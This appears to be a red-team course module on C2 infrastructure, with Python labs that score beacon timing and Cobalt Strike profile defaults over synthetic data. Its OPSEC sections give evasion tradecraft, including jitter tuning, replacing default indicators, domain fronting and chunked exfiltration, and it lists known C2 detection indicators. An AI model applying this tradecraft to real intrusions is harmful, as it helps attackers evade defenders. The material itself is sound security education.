"Customize TLS cipher order to change JA3 hash". Else if jitter is 0 →"Set jitter to at least 20% to raise beacon CV above 0.3". Else if URIs are default →"Replace default URIs with CDN-style paths". Else if user-agent is default →"Replace IE8 user-agent with current Chrome UA". Else if no CDN →"Configure CDN fronting to blend with legitimate traffic". Else →"Profile is well-configured; verify domain age and cert subject".
Expected test results:
NOISY_PROFILE(all defaults, jitter=0): score = 6, best_mitigation returns JA3 advice.CLEAN_PROFILE(all custom, jitter=25): score = 0, no detection opportunities from defaults.PARTIAL_PROFILE(custom UA and URIs, but default pipe and jitter=0): score = 2, best_mitigation returns JA3 or jitter advice.
Success Criteria
You have completed this phase when:
LAB_MODULE=solution pytest -qpasses for both labs with 0 failures.- You can draw the C2 architecture diagram from memory without notes, including which port each component uses and what telemetry each connection exposes.
- You can explain the JA3 hash construction formula — the five fields, their order, how they are joined, and what is hashed — without looking it up.
- You can state the CV threshold for beaconing (0.3) and explain why that threshold works (the statistical difference between bursty legitimate traffic and jittered periodic traffic).
- You can list at least four default Cobalt Strike profile indicators (user-agent, named pipe pattern, URIs, JA3 hash, cert subject) without notes.
- You can write the beacon timing detection logic in pseudocode: group by flow, compute gaps, compute CV, threshold at 0.3.
- You can name the Zeek log fields used in beacon timing analysis:
ts,id.orig_h,id.resp_h,id.resp_p,duration,orig_bytes,resp_bytes. - You can explain the difference between a JA3 blocklist and a JA3 anomaly detector, and why the anomaly detector catches novel C2 frameworks.
Common Mistakes and OPSEC Failures
Timing Mistakes
Setting jitter to 0. This produces a coefficient of variation of exactly 0.0. Every beacon detection tool in existence catches it in three check-ins. Even a simple spreadsheet analysis of NetFlow gaps will find it. There is no operational reason to use zero jitter — the beacon check-in time is not so precise that jitter interferes with operations.
Using very short sleep (under 10 seconds). A beacon checking in every 5 seconds generates 720 connections per hour to the same destination. IDS volume rules fire immediately. The connection rate itself is anomalous for any non-streaming application. Short-sleep beacons should only be used in environments where you have already established that network volume rules are not in place, and only for the duration of an active operation — not as a persistent implant sleep value.
Beaconing only during business hours. A schedule mask that blocks check-ins outside 09:00-17:00 creates an obvious on/off pattern in NetFlow. The SOC sees consistent hourly traffic from a process during work hours and zero traffic at night — which is the opposite of legitimate background services (Windows Update, antivirus, telemetry all run at night). If you must use a schedule, set the edges to blur across midnight and use very long sleep during restricted periods rather than a hard cutoff.
Profile Mistakes
Forgetting to change the named pipe. The named pipe is the most-forgotten observable because it is only relevant for SMB lateral movement, which happens later in the engagement after initial access is established. Operators who customize HTTP profiles sometimes forget the SMB listener entirely. Sysmon EID 17 fires on every named pipe creation — the default pipe name produces an immediate high-confidence alert on any endpoint with Sysmon deployed.
Keeping the default IE8 user-agent. This is the single most common profile mistake and the most detected C2 indicator in proxy logs. The string "MSIE 8.0" combined with "Windows NT 5.1" in a user-agent field triggers rules on every major proxy platform (Zscaler, Symantec WSS, Bluecoat, Palo Alto URL filtering). It is a higher-confidence indicator than the JA3 hash, because JA3 requires Zeek deployment while UA logging requires only a basic proxy.
Using URIs from the default profile. The URI /ca (Cobalt Strike's default staging path) appears in Snort rule 2016467 and multiple commercial NGFW signature sets. The URI /push appears in similar rules. Using default URIs alongside a custom user-agent achieves nothing — the URI match fires independently. Both must be changed.
Infrastructure Mistakes
Pointing the beacon directly at the team server IP. In a post-incident investigation, memory forensics on the compromised host extracts the beacon's embedded C2 configuration. If the config contains the team server IP, that IP is immediately pivoted: the IR team queries Shodan, PDNS, and threat intel feeds for that IP, identifies all other domains that have ever resolved to it, and potentially identifies other compromised organizations sharing the same team server. This is one of the highest-impact OPSEC failures possible.
Not configuring CDN fronting or a proper redirector. A beacon connecting directly to a VPS IP in 185.x.x.x (a common Eastern European hosting range) with no CDN cover will be blocked by most enterprise proxies on first connection, because the IP has no reputation, the domain (if any) is newly registered, and there is no categorization. The engagement stalls before it begins. At minimum, a VPS-based redirector with a pre-aged domain and valid TLS certificate is required; CDN fronting is preferable.
Using the same TLS certificate across multiple engagements. TLS certificates have a serial number that is unique to each issuance. Certificate transparency logs record every publicly-issued certificate. If an operator reuses a Let's Encrypt certificate (or reuses the same domain) across engagements, IR teams can use the serial number to correlate infrastructure across engagements and potentially across clients. Each engagement should use freshly issued certificates and fresh domains.
Lab Implementation Mistakes
Forgetting to sort connections by timestamp before computing gaps. The test fixtures are not guaranteed to be in timestamp order (real NetFlow data is rarely perfectly ordered). If you compute gaps on unsorted input, you will get negative gaps (where an out-of-order event appears later in the list than a later event), which produce nonsensical CV values. Always sort by timestamp as the first step.
Using statistics.mean instead of statistics.median for beacon_interval. The beacon interval should be the median, not the mean, because occasional delayed check-ins (the host was under heavy load, the network was congested) create outlier gaps that pull the mean above the true interval. The test fixture includes one delayed check-in specifically to test this: a beacon with nominal 60-second sleep that has one 180-second gap should return a median of approximately 60, not a mean of approximately 80.
Not handling fewer than 2 connections in jitter_coefficient. statistics.stdev raises StatisticsError if called with fewer than 2 data points. If fewer than 2 gaps exist (i.e., fewer than 3 connections total), the function must catch this and return 0.0. The test suite includes a single-connection fixture specifically to trigger this edge case.
In anomalous_processes, filtering by expected list before grouping instead of after. The function must group all connections by process name first, classify each group's CV, and then apply the expected_processes filter to decide whether to include the process in the anomalous list. Filtering out expected processes before grouping causes the mixed-process fixture (which has connections from both expected and unexpected processes) to incorrectly classify the data.
Interview Q&A
Q1: What is the difference between a redirector and a team server?
A: The team server is the actual C2 server — it manages operator connections on a high port (typically 50050 for Cobalt Strike), maintains state about each beacon (pending tasks, output history, beacon metadata), and dispatches tasks to implants. The redirector is a lightweight relay (often Apache or Nginx with a proxy rule) that sits between the beacon and the team server; its sole job is to forward HTTP/S requests that match expected beacon patterns to the team server, while serving cover content or redirecting everything else. The split exists for operational security: the beacon config contains only the redirector's IP or domain, so if IR discovers and burns the redirector, the team server IP remains unknown and the operator can spin up a new redirector without losing active beacons. A well-configured redirector also adds traffic blending — it serves legitimate content to scanners while proxying beacon traffic to the team server — and it presents a plausible cover identity (categorized domain, valid TLS cert) that passes basic proxy filtering.
Q2: How does JA3 fingerprinting work and what fields compose the hash?
A: JA3 inspects the TLS ClientHello packet — the first message in a TLS handshake, sent by the client before any encryption — and extracts five ordered fields: the TLS version (as a decimal integer, e.g., 769 for TLS 1.2), the cipher suites offered by the client (ordered decimal list, GREASE values excluded), the TLS extensions requested (ordered decimal list, GREASE excluded), the elliptic curve IDs from the supported_groups extension (ordered decimal list), and the elliptic curve point format IDs (ordered decimal list). These five fields are formatted as comma-separated lists within each field, then joined with dashes to produce a string like 769,49162-49161-52393,0-65281-10-11,23-24-25,0, and the MD5 of that string is the JA3 hash. The hash fingerprints the TLS library rather than just the cipher preference, because different TLS implementations (Go's crypto/tls, Python's ssl, Chrome's BoringSSL, Cobalt Strike's Java TLS stack) produce detectably distinct ClientHello structures with different extension ordering, different curve preferences, and different cipher suite ordering. Defenders use both known-bad blocklists (specific hashes for default C2 frameworks) and anomaly scoring (flagging processes whose observed JA3 doesn't match the expected hash for their TLS library) to detect C2 traffic.
Q3: What is the coefficient of variation and why does it detect beaconing?
A: The coefficient of variation (CV) is the ratio of the standard deviation to the mean of a set of inter-connection time gaps — specifically, the gaps between consecutive outbound connections from a specific process to a specific destination. Legitimate browser traffic is bursty: a user loads pages in clusters with long idle periods between sessions, producing gaps with very high variance relative to their mean (CV well above 1.0). A C2 beacon with 20% jitter and a 60-second sleep checks in every 48-72 seconds, producing gaps with a small standard deviation (approximately 7 seconds) relative to the mean (approximately 60 seconds), and therefore a CV around 0.12 — well below the detection threshold of 0.3. An analyst can compute this from NetFlow metadata without any payload inspection: group flows by (source IP, destination IP, destination port, process name), sort by timestamp, compute gaps, compute CV, and alert when CV is below 0.3 and the median gap is below 3600 seconds. The detection requires only metadata — no TLS decryption, no deep packet inspection, and no endpoint agent if NetFlow enrichment with process name is not available.
Q4: How does domain fronting work and why does it complicate attribution?
A: Domain fronting exploits the separation between the TLS Server Name Indication (SNI) extension — which names the destination domain in the TLS ClientHello and is visible to any network observer before encryption is established — and the HTTP Host header, which names the destination domain inside the encrypted TLS session and is (historically) only visible to the CDN after TLS termination. The operator configures the beacon to connect to a CDN's IP address while setting the TLS SNI to a legitimate, high-reputation CDN customer domain; inside the encrypted tunnel, the HTTP Host header names the actual C2 domain that the CDN routes to the operator's origin. From the target network's perspective, the traffic destination appears to be a legitimate CDN customer domain — blocking it would require blocking that legitimate domain and all traffic to the CDN's IP range. Attribution is complicated because the observable infrastructure (the CDN and the fronting domain) has no relationship to the actual C2 domain; an IR team must obtain CDN-side Host-header logs via legal process to trace the real destination. Major CDNs have moved to restrict or block this technique, but it remains relevant against CDNs that do not perform SNI-Host mismatch enforcement.
Q5: What Sysmon event IDs are most useful for C2 detection?
A: Sysmon EID 3 (NetworkConnect) is the primary C2 detection event — it records every outbound TCP/UDP connection made by any process on the host, including the full process path (Image), destination IP, destination port, destination hostname (if resolved), source IP, and source port, along with a ProcessGuid that is stable across PID reuse. This allows detection of non-browser processes making periodic HTTPS connections (periodic EID 3 events from notepad.exe or unexpected svchost.exe instances to port 443). Sysmon EID 17 and EID 18 (PipeCreated and PipeConnected) catch SMB beacon activity — EID 17 fires when a named pipe is created (e.g., \\.\pipe\msagent_0a1b2c3d for a default Cobalt Strike SMB beacon), and EID 18 fires when a pipe is connected, providing the process that connected to it. Sysmon EID 22 (DNSQuery) records every DNS resolution request including the queried name and the process that made the query, enabling detection of DNS-based beaconing or the periodic domain resolutions that long-sleep HTTP beacons make. Correlating EID 3 timestamps for a single ProcessGuid over time enables beacon timing analysis equivalent to the NetFlow CV approach, but with exact process-level attribution.
Q6: What makes a malleable profile "noisy" from a detection standpoint?
A: A noisy profile retains default indicators from the C2 framework's out-of-box configuration — values that every threat intel feed, EDR vendor, network signature set, and JA3 database has already fingerprinted with high confidence. The most damaging defaults are the JA3 hash (which identifies the default TLS library configuration and is trivially blocked via Zeek ssl.log), the user-agent string (IE8 on Windows XP is immediately flagged by any proxy with a UA-anomaly rule, because no legitimate enterprise endpoint has used that browser since 2016), and the default URI paths (/ca, /push, /activity) which appear in Snort, Suricata, and commercial NGFW signatures. A profile is also noisy if it has zero jitter (producing a CV of 0.0, the easiest possible beacon timing detection) or uses a self-signed certificate with the default certificate subject (Major Institutions Inc.), which Zeek logs in ssl.log and which matches a known-bad subject string. A fully custom profile must address all six observable categories simultaneously; neglecting even one default indicator allows a defender to build a reliable detection rule that fires regardless of how well the others are customized.
Q7: How would you detect C2 traffic in NetFlow data with no payload inspection?
A: Start by grouping NetFlow records by (source IP, destination IP, destination port) and computing the inter-flow time gaps for each group — the delta in seconds between consecutive flow start times. Compute the coefficient of variation (stdev(gaps) / mean(gaps)) for each group and flag groups where CV is below 0.3, the connection count is at least 3, and the median gap is below 3600 seconds. This statistical fingerprint identifies periodic beaconing without requiring payload access, TLS decryption, or application-layer visibility. Enrich the flagged flows with process attribution if endpoint telemetry is available (correlate source IP + source port from NetFlow with Sysmon EID 3 SourceIp + SourcePort to get the process name) — a non-browser process making periodic HTTPS connections is a near-certain C2 indicator. Layer in additional signals: look for anomalous orig_bytes spikes in otherwise-small-payload flows (indicating a task-response POST), flows whose destination domain was registered within the last 30 days (via DNS enrichment with domain age data), and flows whose destination IP's JA3 hash (from Zeek ssl.log) matches a known-bad hash or doesn't match any known legitimate TLS library for the observed process.
Q8: What is the difference between long-haul and short-haul beacons?
A: A long-haul beacon (also called a "low and slow" or "persistence" beacon) uses a sleep interval measured in hours to days — its operational purpose is to survive indefinitely on a compromised host with minimal network noise, maintaining a persistent foothold while the operator conducts the bulk of the engagement through a separate, more active channel. It checks in infrequently (once every 4-24 hours), transfers very little data per check-in, and is extremely difficult to detect via volume-based IDS rules or short-window NetFlow analysis; its primary detection surface is DNS periodic-query analysis (tools like RITA catch the daily DNS resolution pattern) and memory forensics. A short-haul (or "interactive") beacon has a sleep interval measured in seconds to minutes and is used when the operator needs near-real-time responsiveness — lateral movement, credential harvesting, live command execution, file staging — where a 60-minute check-in cycle would make operations impractically slow. The short-haul beacon's detection profile is the opposite: it generates many connection events in a short window, is caught by NetFlow CV analysis with fewer data points needed, but is only active during the operational window and is then killed to reduce exposure. Professional operators deploy long-haul beacons first for durable persistence, then spin up short-haul channels only for specific operational tasks, destroying the short-haul channel when the task is complete to minimize the time window during which the higher-noise signal is present on the wire.
References
- MITRE ATT&CK T1071.001 — Application Layer Protocol: Web Protocols
- MITRE ATT&CK T1090.004 — Proxy: Domain Fronting
- MITRE ATT&CK T1090.001 — Proxy: Internal Proxy
- MITRE ATT&CK T1205 — Traffic Signaling
- MITRE ATT&CK T1571 — Non-Standard Port
- Anderson, B., McGrew, D. (2016). "TLS Fingerprinting with JA3 and JA3S." Salesforce Engineering Blog.
- Althouse, J. (2019). "JA3 — A Method for Profiling SSL/TLS Client Hello Messages." Black Hat USA 2019 Arsenal.
- Cobalt Strike Malleable C2 Profile Reference — Strategic Cyber LLC documentation (fictional redacted).
- Zeek Network Security Monitor documentation — conn.log and ssl.log field reference. https://docs.zeek.org/
- Active Countermeasures RITA (Real Intelligence Threat Analytics) — beacon detection methodology. https://github.com/activecountermeasures/rita
- Palo Alto Unit 42 — "Threat Brief: C2 Infrastructure Identification via JA3 Fingerprinting" (2022).
- SANS FOR572 — Advanced Network Forensics: Threat Hunting, Analysis, and Incident Response.
Hitchhiker's Guide — Phase 08: C2 Infrastructure
Operation Cedar Lattice — Phase 08 Range Walkthrough
This guide walks you through the Cedar Lattice engagement from the perspective of a principal red-team engineer standing up and analyzing C2 infrastructure against Meridian Freight International's environment. Each step includes the red-team action, the corresponding blue-team telemetry, and the OPSEC decision point.
Pre-Flight Checks
Before beginning Phase 08 labs, confirm:
- Phase 07 EDR gap map is complete (you know which Meridian Freight sensors fire on which technique)
-
Both labs run with
LAB_MODULE=solution pytest -qfrom each lab directory - You can draw the C2 stack diagram from memory (operator → team server → redirector → beacon)
- You have read WARMUP.md Chapters 1-4 (architecture, beacon mechanics, redirectors, JA3)
Phase 08 Range Topology
Describe the fictional Meridian Freight environment:
Meridian Freight International — Notional Network Layout
[Internet]
│
▼
[Meridian Perimeter Firewall]
│
├── DMZ (192.168.10.0/24)
│ └── mf-webproxy-01 (192.168.10.5) ← Squid proxy, logs all HTTP/S
│
├── Corporate (10.10.0.0/16)
│ ├── mf-dc-01 (10.10.1.10) ← Domain Controller
│ ├── mf-siem-01 (10.10.1.20) ← Splunk, receives Sysmon/Zeek
│ ├── mf-ws-042 (10.10.5.42) ← Compromised workstation (Phase 04 foothold)
│ └── mf-srv-finance-01 (10.10.8.100) ← Target: Finance server
│
└── NetFlow Collector (10.10.1.30) ← IPFIX/NetFlow v9 from all segments
FIN-LATTICE Operator Infrastructure (external, fictional)
[FIN-LATTICE Operator]
│
├── Team Server: 203.0.113.50 (VPS, AS64496)
│ └── Listening: 50050/tcp (operator), 443/tcp (beacon HTTPS)
│
├── Redirector: cdn-assets-delivery.example (203.0.113.99)
│ └── Apache mod_rewrite → 203.0.113.50
│
└── Cover Domain: cdn-assets-delivery.example
└── Registered 14 days ago, categorized: CDN/Technology
Step-by-Step Cedar Lattice Artifact Production
Step 1: Profile the Beacon
Red-team action: Retrieve the synthetic beacon metadata for the FIN-LATTICE implant running on mf-ws-042. The metadata includes a list of NetworkConnect events (Sysmon EID 3) from the past 4 hours.
Blue-team telemetry at this point: Sysmon EID 3 events are in Splunk. An analyst who pulls index=sysmon EventID=3 host=mf-ws-042 would see repeated outbound connections from svchost.exe to 203.0.113.99:443. Without beacon timing analysis, this looks like normal Windows telemetry traffic.
OPSEC decision point: The beacon is using svchost.exe as the host process (process injection from Phase 06). This is a LOLBin — svchost legitimately makes network connections. The question is whether the connection rhythm betrays it.
Lab 01 action: Feed the synthetic connection list to beacon_interval(), jitter_coefficient(), and classify_rhythm(). A beaconing result here means the SOC could detect it with periodic-connection analysis — document as a detection opportunity.
Step 2: Enumerate Profile Defaults
Red-team action: Extract the C2 profile configuration from the synthetic engagement record. The profile shows the beacon's observable network characteristics.
Blue-team telemetry: Zeek ssl.log captures the JA3 hash on every TLS handshake at the perimeter. Proxy logs capture the User-Agent string. NetFlow captures connection timing.
OPSEC decision point: Does the profile use default indicators? A default JA3, default UA, or default URIs each provide a single-rule detection for the SOC. Even one default indicator is a finding in the final report.
Lab 02 action: Feed the synthetic profile to profile_noise_score(). Score >= 4 means the engagement would have been detected by a competent SOC within hours of the first check-in. Score 0 means the profile requires behavioral (timing) analysis to detect — a much harder problem for the defender.
Step 3: Enumerate Redirector Gaps
Red-team action: Review the redirector configuration for missing mitigations.
Blue-team telemetry: An IR analyst who discovers the redirector domain (cdn-assets-delivery.example) can check:
- Certificate serial number → pivot to other domains using the same cert
- ASN (AS64496) → pivot to other VPS hosts on the same provider
- SSL scan (e.g., via Shodan, censys.io) → enumerate listening ports
OPSEC decision point: Is CDN fronting configured? Without fronting, the redirector IP is directly visible in NetFlow. One pivot from the redirector exposes the team server. With fronting, the visible IP is a CDN node with thousands of other customers — much harder to pivot from.
Lab 02 action: Call redirector_gaps() on the profile. Each gap is a finding. A clean profile with no gaps means IR must work harder — they need to obtain CDN-layer logs or find the staging URI in proxy logs.
Step 4: Enumerate Detection Opportunities
Red-team action: Build the detection-opportunity list — what would a well-instrumented SOC have seen?
Blue-team telemetry: A well-instrumented Meridian Freight SOC with:
- Zeek at the perimeter (ssl.log, conn.log, dns.log)
- Sysmon on endpoints (EID 3, EID 17, EID 22)
- NetFlow collection (IPFIX from perimeter firewall)
- Proxy logging (Squid, full URI + UA)
...would have multiple detection opportunities even against a partially-customized profile.
Lab 02 action: Call detection_opportunities() to enumerate exactly what the blue team could detect. This list goes into the Cedar Lattice Detection Gap Map — the deliverable the client uses to prioritize detection engineering work.
Step 5: Recommend Highest-Impact Mitigation
Red-team action: For the engagement debrief, identify the single change the operator should have made to most significantly reduce detection probability.
OPSEC decision point: The priority order matters: changing the JA3 hash (which requires changing the TLS library or using a JA3 randomizer) eliminates the single most-fingerprinted C2 indicator. Adding jitter is cheap (one config line) but only addresses timing detection. Randomizing URIs addresses signature-based proxy detection.
Lab 02 action: Call best_mitigation(). The result is the recommendation in the report. If the score is 0, the profile has no critical default indicators and detection requires purely behavioral analysis.
Step 6: Compile the Cedar Lattice Detection Map
Output format: A structured document with four sections:
- Beacon Timing Analysis — median interval, CV, classification, anomalous processes
- Profile Noise Assessment — noise score (0-6), specific default indicators found
- Detection Opportunities — enumerated list of what the SOC could have detected
- Recommended Mitigations — prioritized list, highest-impact first
This document is the Phase 08 deliverable. It goes into the red-team final report as the "Network-Layer Findings" section.
Red-Team vs Blue-Team Perspective Summary
| Phase 08 Step | Red-Team View | Blue-Team View |
|---|---|---|
| Beacon timing | Jitter hides rhythm | CV analysis catches rhythm with 10+ samples |
| JA3 fingerprint | Default hash = instant detection | Zeek ssl.log + blocklist = single-rule catch |
| Redirector gaps | No CDN fronting = team server exposure | NetFlow pivot from redirector to team server |
| Profile defaults | Default UA = day-1 detection | Proxy log string match, no behavioral analysis needed |
| Detection map | Documents what the defender missed | Prioritized detection backlog for the client |
Decision Tree: Is This Beacon Detectable?
START: Analyze beacon connection list
│
├── Fewer than 3 connections? → Insufficient data (inconclusive)
│
├── Median interval >= 3600s?
│ └── Yes → Long-haul beacon → Check DNS periodic query pattern
│
├── CV < 0.3?
│ └── Yes → BEACONING → High-confidence periodic-connection detection
│
├── CV in [0.3, 1.0)?
│ └── Yes → INTERACTIVE → Behavioral analysis needed, lower confidence
│
└── CV >= 1.0? → BENIGN or noise → No reliable beacon signature
Gotchas and Pitfalls
-
Redirector IP in the cert: If the redirector's TLS certificate lists the team server IP in the Subject Alternative Name, a single SSL scan exposes the team server. Always use a cover domain in the cert.
-
Staging URI in proxy logs: The initial staging request (fetching the second-stage payload) often uses a different URI than the polling loop. If both URIs match Snort signatures, the beacon is detected before it even starts polling.
-
Sleep jitter doesn't hide exfil spikes: A beacon with good jitter timing but a sudden 50MB POST body during data exfiltration is immediately anomalous. Exfil must be chunked to stay within normal
bytes_outranges. -
Domain age is the first pivot: IR teams check domain registration age as step one. A domain registered 14 days ago categorized as "CDN/Technology" passes category filters but fails age-based threat intelligence enrichment (Palo Alto PDNS, VirusTotal passive DNS).
-
Named pipe names survive process migration: When the operator migrates the beacon to a new process, the named pipe is recreated. If the pipe name is default, Sysmon EID 17 fires again in the new process, giving the SOC a second chance to catch it.
Lab 01 — Beacon Rhythm Analyzer
Cedar Lattice, Phase 08. The FIN-LATTICE implant running on Meridian Freight workstation mf-ws-042 is making outbound HTTPS connections. Sysmon EID 3 events have been collected into a synthetic connection list. Your job: determine whether the connection pattern constitutes beaconing, classify it, and identify any anomalous processes — all without payload inspection.
Safety. This lab analyzes synthetic NetFlow metadata only. No exploit, no shellcode, no working implant, no C2 server.
Learning Objectives
By completing this lab you can:
- Implement the median inter-connection gap formula and explain why median is preferred over mean for beacon interval estimation.
- Implement the coefficient of variation (CV) formula and explain the CV thresholds for beaconing vs interactive vs benign classification.
- Group connection records by process and classify each process's traffic independently.
- Generate Sysmon EID 3 detection strings from connection metadata.
- Explain why this analysis requires only NetFlow metadata — no TLS decryption needed.
Background
A C2 beacon checks in periodically with its team server. The sleep/jitter formula is:
effective_sleep = sleep_seconds × (1 ± jitter_percent/100)
With 60s sleep and 20% jitter, effective sleep is in [48s, 72s]. After collecting 10+ check-ins, the coefficient of variation (CV = stdev/mean of the inter-connection gaps) is approximately 0.12 — well below the detection threshold of 0.3.
The lab implements five functions over synthetic NetworkConnect records, each a dict with keys: timestamp (float, Unix epoch), process (str), dest_ip (str), dest_port (int), bytes_out (int).
Functions to Implement
| Function | What it computes |
|---|---|
beacon_interval(connections) | Median inter-connection gap in seconds |
jitter_coefficient(connections) | CV of inter-connection gaps |
classify_rhythm(connections) | 'beaconing' / 'interactive' / 'benign' |
anomalous_processes(connections, expected) | Sorted list of beaconing processes not in expected list |
detection_for_connection(conn) | Sysmon EID 3 detection string |
Classification Rules
| Class | Condition |
|---|---|
'beaconing' | CV < 0.3 AND count >= 3 AND median gap < 3600s |
'interactive' | CV in [0.3, 1.0) |
'benign' | count < 3 OR median gap >= 3600s OR CV >= 1.0 |
Running the Lab
# Install dependencies
pip install pytest
# Run stubs (should fail — NotImplementedError expected)
pytest -q
# Run reference solution (should pass — 12/12 tests)
LAB_MODULE=solution pytest -q
Files
| File | Purpose |
|---|---|
lab.py | Your implementation (edit this) |
solution.py | Reference solution (do not read until done) |
test_lab.py | 12 tests, imports from LAB_MODULE env var |
requirements.txt | pytest>=7.0 |
Cedar Lattice Connection
The output of this lab feeds directly into the Cedar Lattice Detection Map:
beacon_interval→ reported as "median check-in interval" in the network findings sectionjitter_coefficient→ reported as "timing regularity (CV)" — CV < 0.3 is a findingclassify_rhythm→ drives the detection-confidence rating (high/medium/inconclusive)anomalous_processes→ the list of flagged processes goes into the IOC tabledetection_for_connection→ generates the Sysmon query the SOC would have used
Lab 02 — C2 Malleable Profile Analyzer
Cedar Lattice, Phase 08. The Cedar Lattice engagement recovered a synthetic representation of the FIN-LATTICE C2 profile — the configuration that controls every observable of their beacon's network communication. Your job: score the profile for default indicators, enumerate redirector gaps, enumerate what a well-instrumented SOC could have detected, and recommend the single highest-impact mitigation.
Safety. This lab analyzes synthetic profile metadata only. No working C2 profile is produced, deployed, or functional. All analysis is over Python dicts representing profile fields.
Learning Objectives
By completing this lab you can:
- Enumerate the six observable categories of a C2 malleable profile and name the default value for each.
- Implement a noise-score function that counts default/known-bad indicators in a profile dict.
- Enumerate redirector-configuration gaps (missing mitigations) from profile metadata.
- Generate a detection-opportunity list from a profile — what a blue team with full visibility could have caught.
- Implement a priority-ordered best-mitigation recommendation.
- Explain why a noise score of 0 does not mean the profile is undetectable — behavioral (timing) analysis still applies.
Background
A C2 profile controls:
| Observable | Default (Cobalt Strike) | Detection if default |
|---|---|---|
| Named pipe | \\.\pipe\msagent_[hex] | Sysmon EID 17 string match |
| User-agent | IE8 on Windows XP | Proxy log string match |
| URI paths | /ca, /activity, /push | Snort/Suricata signature |
| JA3 hash | a0e9f5d64349fb13191bc781f81f42e1 | Zeek ssl.log blocklist |
| Sleep jitter | 0% | NetFlow CV = 0.0 detection |
| Cert subject | Major Institutions Inc. | Certificate anomaly detection |
A profile with all six defaults is caught by any of six independent detection rules. Each custom value the operator sets removes one detection opportunity — but behavioral detection (beacon timing analysis from Lab 01) survives all profile customization.
Functions to Implement
| Function | What it computes |
|---|---|
profile_noise_score(profile) | Count of default/known-bad indicators (0-6) |
redirector_gaps(profile) | List of missing redirector mitigations |
detection_opportunities(profile) | List of what a blue team could detect |
best_mitigation(profile) | Single highest-impact mitigation string |
Profile Dict Schema
{
"named_pipe": str, # e.g., r"\\.\pipe\msagent_abc"
"user_agent": str, # HTTP User-Agent string
"uri_paths": list[str], # list of URI path strings
"sleep_seconds": int, # base sleep interval
"jitter_percent": int, # jitter percentage (0-100)
"tls_ja3": str, # JA3 hash string
"cert_subject": str, # TLS certificate subject
"cdn_fronted": bool, # optional — True if CDN fronting configured
}
Running the Lab
# Install dependencies
pip install pytest
# Run stubs (should fail — NotImplementedError expected)
pytest -q
# Run reference solution (should pass — 13/13 tests)
LAB_MODULE=solution pytest -q
Files
| File | Purpose |
|---|---|
lab.py | Your implementation (edit this) |
solution.py | Reference solution (do not read until done) |
test_lab.py | 13 tests, imports from LAB_MODULE env var |
requirements.txt | pytest>=7.0 |
Cedar Lattice Connection
The output of this lab is the core of the Phase 08 deliverable:
profile_noise_score→ "Profile Noise Assessment" section (score + breakdown)redirector_gaps→ "Redirector Configuration Findings" sectiondetection_opportunities→ "Detection Opportunities" section (what the SOC could have detected)best_mitigation→ "Highest-Impact Recommendation" (single actionable item for operator)
A score of 6 means the engagement was detectable by six independent single-rule detections on day one. A score of 0 means only behavioral analysis (Lab 01) could have detected the traffic — a much more sophisticated detection requirement for Meridian Freight's SOC.
Phase 09 — Cloud & Container Red Team
Operation Cedar Lattice, Phase 09. Phases 07 and 08 mapped Meridian Freight's detection-gap surface and built the post-exploitation playbook on Windows hosts. Now the engagement pivots to Meridian Freight's cloud footprint: an AWS organization with cross-account roles, an Azure subscription running freight-tracking microservices, and a Kubernetes cluster on EKS whose nodes pull credentials from the Instance Metadata Service.
This phase answers the question the cloud-security team will ask in the report: how does a compromised container reach IAM admin, and what does every step emit into CloudTrail? The deliverable is not "we got Admin." It is "here is the exact permission graph, the lowest-detection path through it, and the CloudTrail event name that fires at each step."
Safety (non-negotiable). Authorized security-education only. Every offensive concept in this phase ends in its detection. The labs are graph-solvers and configuration-analyzers over synthetic metadata. There are no real cloud credentials, no real API calls, no working SSRF chains, no deployable IMDS exploits, and no container escape payloads in this repo. Every technique is presented alongside the CloudTrail event, GuardDuty finding, or Falco rule that catches it.
Why this phase exists
Cloud IAM is the new perimeter. A red team engagement that stops at the EC2 instance and never
follows the attached IAM role to see what sts:AssumeRole can reach misses the highest-value
finding in the report. A container running as root with a mounted Docker socket is not just a
privilege-escalation finding — it is a cloud-account-takeover finding if the node has an instance
profile. Understanding the full permission graph — from compromised container to IAM admin —
and being able to articulate exactly which CloudTrail event fires at each edge is what
distinguishes a principal-level cloud red team consultant from one who just runs pacu.
Learning Objectives
- Model AWS IAM policy evaluation: SCP → resource-based → identity-based → permission boundaries → session policies, and know which layer wins each conflict.
- Enumerate at least five IAM privilege-escalation paths (specific permission → specific effect) and name the CloudTrail event each one emits.
- Explain the difference between IMDSv1 and IMDSv2, including the hop-limit mechanism that prevents SSRF-to-IMDS chains from inside containers.
- Describe Azure RBAC scope hierarchy and identify the two permissions most commonly abused for lateral movement in Azure tenants.
- Map the Linux primitives that isolate containers (namespaces, cgroups, capabilities) and explain exactly which primitive each container-escape path defeats.
- Write a Falco rule condition that detects a privileged container launch or Docker socket mount.
- Given a synthetic IAM permission graph, compute the lowest-detection-cost path from a compromised principal to admin using Dijkstra over CloudTrail visibility costs.
Cedar Lattice Artifact
Artifact 09-A — Meridian Freight Cloud Permission Graph
FIN-LATTICE's initial foothold is a compromised CI/CD runner that has the IAM role
arn:aws:iam::114700000000:role/meridian-cicd-runner. The runner's policy has
sts:AssumeRole on arn:aws:iam::114700000000:role/meridian-deploy-staging.
The staging role has iam:AttachUserPolicy on arn:aws:iam::114700000000:user/*.
A separate EKS node has iam:CreatePolicyVersion on the shared meridian-ops managed policy.
The question this artifact answers: which path reaches IAM admin with the fewest high-signal CloudTrail events, and what does each step look like in the SIEM?
Labs
| Lab | Title | Key Concept |
|---|---|---|
| Lab 01 | Cloud IAM Attack Path Solver | Graph-based IAM permission path finding; Dijkstra over CloudTrail visibility costs |
| Lab 02 | IMDS & Container Escape Analyzer | Synthetic config analysis; IMDS v1/v2 misconfigurations; container escape vectors |
How to Run
# Lab 01
cd lab-01-cloud-iam-attack-path
pip install -r requirements.txt
# Run stubs (should fail with NotImplementedError)
pytest -q
# Run reference solution
LAB_MODULE=solution pytest -q
# Lab 02
cd ../lab-02-imds-container-escape
pip install -r requirements.txt
pytest -q # stubs — fails
LAB_MODULE=solution pytest -q # solution — passes
All labs use pure Python stdlib + pytest. No cloud SDK, no real credentials, no network calls.
Navigation
« Phase 08 — Post-Exploitation & C2 | Phase 10 — Red Team Reporting & Purple Team »
Phase 09 WARMUP — Cloud & Container Red Team
Operation Cedar Lattice, Phase 09. Before the labs, build the mental model that makes the graph-solver meaningful. This guide takes you from first principles — what is an IAM principal, why does the evaluation order matter, what does a Linux namespace actually isolate — to the practitioner level where you can look at a permission graph and immediately see the lowest-detection path, or look at a container config and immediately see the escape vector and the Falco rule that catches it.
Safety boundary (unchanged). Every offensive concept ends in its detection. No working exploits, no shellcode, no deployable bypasses appear in this document.
Table of Contents
- Chapter 1: Cloud IAM Mental Model
